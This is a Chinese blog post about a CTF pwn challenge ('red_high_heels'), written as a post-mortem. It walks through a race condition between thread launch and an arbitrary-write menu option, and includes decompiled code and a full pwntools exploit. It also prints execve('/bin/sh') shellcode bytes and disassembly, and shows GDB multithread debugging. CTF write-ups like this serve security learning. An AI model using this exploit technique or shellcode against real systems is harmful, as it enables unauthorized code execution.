Introduction

本文不是Writeup,本文是验尸报告

很遗憾,这题做出来了,但是并没有做出来。总之死法很冤。

反正官方WP都放出来了,我自己的博客我就随便记点东西。

意识流记录思路、多线程调试、对垃圾shellcode分析

update:在今天跟群友扯别的事情的时候,发现我disasm()忘记设置arch=’amd64’了,所以看到的shellcode和redflag的汇编都是32位下的。文中的汇编已更正为64位 —2021/09/13

题目描述

题目大概就是一个大量夹带私货的条件竞争PWN。

题目给了三个文件,其中一个ELF程序red_high_heels,执行程序给出一个菜单,大概就以下情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
./red_high_heels 
1. ls
2. cat
3. execve
4. ptrace
5. exit
>> 1
-rwxr-xr-x 1 carol asoul 1337 Nov 2 2021 redflag
-rwsr-xr-x 1 root heel 1337 Sep 22 2020 👠
-rw------- 1 root heel 1337 Sep 22 2020 flag
1. ls
2. cat
3. execve
4. ptrace
5. exit
>> 2
🐱 https://www.bilibili.com/video/BV1FX4y1g7u8
1. ls
2. cat
3. execve
4. ptrace
5. exit
>> 3
Input filename: redflag
1. ls
2. cat
3. execve
4. ptrace
5. exit
>> 🚩3
Input filename: 👠
1. ls
2. cat
3. execve
4. ptrace
5. exit
>> 👠

另外给了两个文件redflag👠file去识别这两个文件只能分析出是data,结合IDA看,能看出这两个文件实际上算是两段机器码,实际效果如上面的代码块,就是分别打印一个小红旗或者高跟鞋。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#redflag
>>> print(disasm(file1))
0: 48 b8 f0 9f 9a a9 00 movabs rax, 0xa99a9ff0
7: 00 00 00
a: 50 push rax
b: 48 89 e6 mov rsi, rsp
e: 48 c7 c7 01 00 00 00 mov rdi, 0x1
15: 48 c7 c2 04 00 00 00 mov rdx, 0x4
1c: 48 c7 c0 01 00 00 00 mov rax, 0x1
23: 0f 05 syscall
25: 58 pop rax
26: c3 ret
27: 0a .byte 0xa

#👠

>>> print(disasm(file2))
0: 48 b8 f0 9f 91 a0 00 movabs rax, 0xa0919ff0
7: 00 00 00
a: 50 push rax
b: 48 89 e6 mov rsi, rsp
e: 48 c7 c7 01 00 00 00 mov rdi, 0x1
15: 48 c7 c2 04 00 00 00 mov rdx, 0x4
1c: 48 c7 c0 01 00 00 00 mov rax, 0x1
23: 0f 05 syscall
25: 58 pop rax
26: c3 ret
27: 0a .byte 0xa

IDA恢复Switch结构

main函数用到了一个switch结构,不识别switch case的话,IDA会看的十分痛苦

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
int result; // eax

init_proc();
do
{
menu();
v3 = read_int();
}
while ( v3 > 5 );
__asm { jmp rax }
return result;
}

具体参考https://www.cjovi.icu/mess/1345.html

Edit->Other->Specify switch idiom

image-20210907154831007
image-20210907154831007

修复后的main伪代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
unsigned __int64 v4; // rbx
__int64 v5; // rax
int v7; // [rsp+0h] [rbp-70h] BYREF
int v8; // [rsp+4h] [rbp-6Ch] BYREF
__int64 v9; // [rsp+8h] [rbp-68h] BYREF
char v10[8]; // [rsp+10h] [rbp-60h] BYREF
__int64 v11; // [rsp+18h] [rbp-58h]
__int64 v12; // [rsp+20h] [rbp-50h]
__int64 v13; // [rsp+28h] [rbp-48h]
__int64 v14; // [rsp+30h] [rbp-40h]
__int64 v15; // [rsp+38h] [rbp-38h]
__int64 v16; // [rsp+40h] [rbp-30h]
__int64 v17; // [rsp+48h] [rbp-28h]
unsigned __int64 v18; // [rsp+58h] [rbp-18h]

v18 = __readfsqword(0x28u);
init_proc();
do
{
LABEL_2:
menu();
v3 = read_int();
LABEL_3:
;
}
while ( v3 > 5 );
switch ( v3 )
{
case 0u:
goto LABEL_2;
case 1u:
puts("-rwxr-xr-x 1 carol asoul 1337 Nov 2 2021 \x1B[0;31mredflag\x1B[0m");
puts("-rwsr-xr-x 1 root heel 1337 Sep 22 2020 \x1B[31;7m👠\x1B[0m");
puts("-rw------- 1 root heel 1337 Sep 22 2020 flag");
goto LABEL_2;
case 2u:
puts("🐱 https://www.bilibili.com/video/BV1FX4y1g7u8");
goto LABEL_2;
case 3u:
if ( (unsigned int)pid_counter > 0x10000 )
error_out("Too many processes");
*(_QWORD *)v10 = 0LL;
v11 = 0LL;
v12 = 0LL;
v13 = 0LL;
v14 = 0LL;
v15 = 0LL;
v16 = 0LL;
v17 = 0LL;
printf("Input filename: ");
readline(v10, 0x3Fu);
load_program(v10);
goto LABEL_2;
case 4u:
__isoc99_scanf("%d %d %lu", &v7, &v8, &v9);
v4 = v7;
if ( v4 < std::vector<pi *>::size(pi_list) )
{
v5 = std::vector<pi *>::operator[](pi_list, v7);
*(_QWORD *)(v8 + *(_QWORD *)(*(_QWORD *)v5 + 8LL)) = v9;
puts("Success");
}
goto LABEL_2;
case 5u:
puts("Have a nice b23.tv/0jJxng");
return 0;
default:
goto LABEL_3;
}
}

思路

竞争主要出来case 3case 4之间。

首先看case 3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
unsigned __int64 __fastcall load_program(char *a1)
{
pthread_t newthread; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
if ( !strcmp(a1, "redflag") || !strcmp(a1, "👠") )
{
pthread_mutex_lock(&mutex);
pthread_create(&newthread, 0LL, launch_program, a1);
++pid_counter;
pthread_mutex_unlock(&mutex);
}
else if ( !strcmp(a1, "flag") )
{
fwrite("Permission denied\n", 1uLL, 0x12uLL, stderr);
}
else
{
fwrite("No such file or directory\n", 1uLL, 0x1AuLL, stderr);
}
return v3 - __readfsqword(0x28u);

调用load_program,检查输入的filename是否为redflag或者👠,是则上互斥锁,然后创建线程执行launch_program(filename)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
void *__fastcall launch_program(void *a1)
{
void *result; // rax
_BOOL4 v2; // edx
int fd; // [rsp+1Ch] [rbp-24h]
_QWORD *v4; // [rsp+20h] [rbp-20h] BYREF
char *file; // [rsp+28h] [rbp-18h]
void *buf; // [rsp+30h] [rbp-10h]
unsigned __int64 v7; // [rsp+38h] [rbp-8h]

v7 = __readfsqword(0x28u);
file = (char *)a1;
fd = open((const char *)a1, 0);
if ( fd >= 0 )
{
buf = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL);
read(fd, buf, 0x100uLL);
close(fd);
v4 = malloc(0x18uLL);
std::vector<pi *>::push_back((__int64)pi_list, (__int64)&v4);
v4[1] = buf;
v2 = strcmp(file, "redflag") != 0;
*(_DWORD *)v4 = v2;
*((_DWORD *)v4 + 4) = pid_counter;
if ( !strcmp(file, "👠") )
clean_resource();
((void (*)(void))buf)();
if ( strcmp(file, "👠") )
munmap(buf, 0x1000uLL);
result = 0LL;
}
else
{
perror("open");
result = 0LL;
}
return result;
}

launch_program里根据文件名称的不同,会执行两套不同的逻辑

  1. 输入redflagmmap分配一大块内存buf,读取redflag的文件内容进buf,调用push_backbuf地址存入pi_list队尾,将buf的内容作为shellcode执行,最后调用munmap释放buf
  2. 输入👠mmap分配一大块内存buf,读取redflag的文件内容进buf,调用push_backbuf地址存入pi_list队尾,清空pi_list,并将pi_list中记录的每个malloc申请的块逐一free,将buf的内容作为指令执行

如果我们能改写buf内容为特定的shellcode,就能实现攻击

这里就结合case 4的逻辑

1
2
3
4
5
6
7
8
9
10
case 4u:
__isoc99_scanf("%d %d %lu", &index, &offset, &data);
v4 = index;
if ( v4 < std::vector<pi *>::size(pi_list) )
{
v5 = std::vector<pi *>::operator[](pi_list, index);
*(_QWORD *)(offset + *(_QWORD *)(*(_QWORD *)v5 + 8LL)) = data;
puts("Success");
}
goto LABEL_2;

大致就是给一个索引,从pi_list中获取对应的chunk的地址,然后给一个偏移,计算出一个地址,在这个地址中写入8字节的数据

然后通过调试能注意到,pi_list[index]中保存的实际就是mmap分配得到的buf的地址,而且因为文件名为redflag时,每次执行完指令,都会munmap,所以pi_list中每个条目保存的地址都是相同的。

但是正因为调用了munmap,使得case 4不能对已释放的内存进行写入

这里就用到👠的逻辑,只要pi_list足够长,那么线程就要花费大量的时间去free每一个chunk,那么在执行指令之前就有足够的时间去改写buf内容为我们的shellcode

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
# context.log_level = 'debug'
p = process('./red_high_heels')
def execve(filename):
p.sendlineafter('5. exit','3')
p.sendlineafter('filename:',filename)

def ptrace(index,offset,content):
# p.sendlineafter('5. exit','4')
p.sendline('4')
payload = '%d %d %lu' %(index,offset,content)
p.sendline(payload)

file1 = 'redflag'
file2 = '👠'

for i in range(0x1000):
execve(file1)

execve(file2)

ptrace(0x7f7,0,u64('\x50\x48\x31\xd2\x48\xbb\x2f\x62'))
ptrace(0x7f7,8,u64('\x69\x6e\x2f\x2f\x73\x68\x53\x54'))
ptrace(0x7f7,16,u64('\x5f\xb0\x3b\x0f\x05\x00\x00\x00'))

p.interactive()

从exploit-db上扒了一个21字节的shellcode,用case 4分三次写入shellcode,

然后就crash了

赛后看了官方writeup,除了shellcode用的不同,其他基本一致

GDB多线程调试

以下内容都是赛后做的,如果我比赛的时候能调试一下shellcode的执行状态,基本就能想到换一个shellcode

本题涉及线程创建,所以GDB得多线程调试。另外又涉及线程之间的时序关系,所以需要gdb中开关scheduler-locking来调节主线程和子线程的执行

为了方便调试的重开,在执行完0x1000次execve(file1)后开GDB,并暂停脚本

下两个断点clean_resource()pthread_create

开scheduler-locking set scheduler-locking on,不开的话,还没等GDB里面切换线程,子线程就把pi_list全清空了

恢复脚本的执行,程序断在创建子线程前,nextret停到创建出新的线程

info thread查看线程信息(此处可省略,因为新创建的线程肯定是2)

thread 2切换到子线程

set scheduler-locking off关锁,随便单步执行一下恢复主线程的执行,也就是让主线程执行case 4改写buf内容

可以通过pi_list中保存的内容找到buf地址然后看一下

image-20210907170620448
image-20210907170620448

可以看到shellcode写进去了

接下来

del 1,删掉clean_resource()上的断点,然后在launch_program((void (*)(void))buf)();代码上下断点。因为程序开了PIE,用当前clean_resource()的指令地址推一下偏移就行。

image-20210907170921770
image-20210907170921770

如上图,就在0x55555555697c出下断点,continue运行到call rax

si跟进,就到了shellcode的执行阶段

Shellcode

image-20210907171108984
image-20210907171108984

继续si执行到syscall时,能看到RAX并不是预期的0x3b,这也能从上一行的mov al,0x3b看出,这个shellcode并没有考虑RAX清零,也就是说这段shellcode能用的前提是执行前RAX要是0

后来我尝试了把mov al,0x3b改成mov rax,0x3b,RAX寄存器的值是正确的0x3b了,那么syscall就正确的解析成了execve,但是依旧crash。

原因如上图,execve要求三个参数int execve(const char * filename, char * const argv[], char * const envp[]);

RSI寄存器传递了execve的第二个参数argv,类型是char **,所以这里的0xfe2不是合法的地址,于是程序crash。我gdb里手动改成0,这段shellcode就能正常执行了。(所以有空得看一下源码,argv=0大概就是直接代表了argv为空)

下面就给出两个shellcode,留给读者自己品

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
>>> print(disasm(shellcode1))
0: 50 push rax
1: 48 31 d2 xor rdx, rdx
4: 48 bb 2f 62 69 6e 2f movabs rbx, 0x68732f2f6e69622f
b: 2f 73 68
e: 53 push rbx
f: 54 push rsp
10: 5f pop rdi
11: b0 3b mov al, 0x3b
13: 0f 05 syscall
...
>>> print(disasm(shellcode2))
0: 48 b8 2f 62 69 6e 2f movabs rax, 0x68732f6e69622f
7: 73 68 00
a: 50 push rax
b: 48 89 e7 mov rdi, rsp
e: 48 31 f6 xor rsi, rsi
11: 48 31 d2 xor rdx, rdx
14: 48 c7 c0 3b 00 00 00 mov rax, 0x3b
1b: 0f 05 syscall

shellcode1就是我用的shellcode,shellcode2就是官方Writeup中用的shellcode。

小结

没有小结,这是篇验尸报告,结果就是谨慎选择shellcode

参考链接

  1. https://www.cjovi.icu/mess/1345.html
  2. https://cloud.tencent.com/developer/article/1142947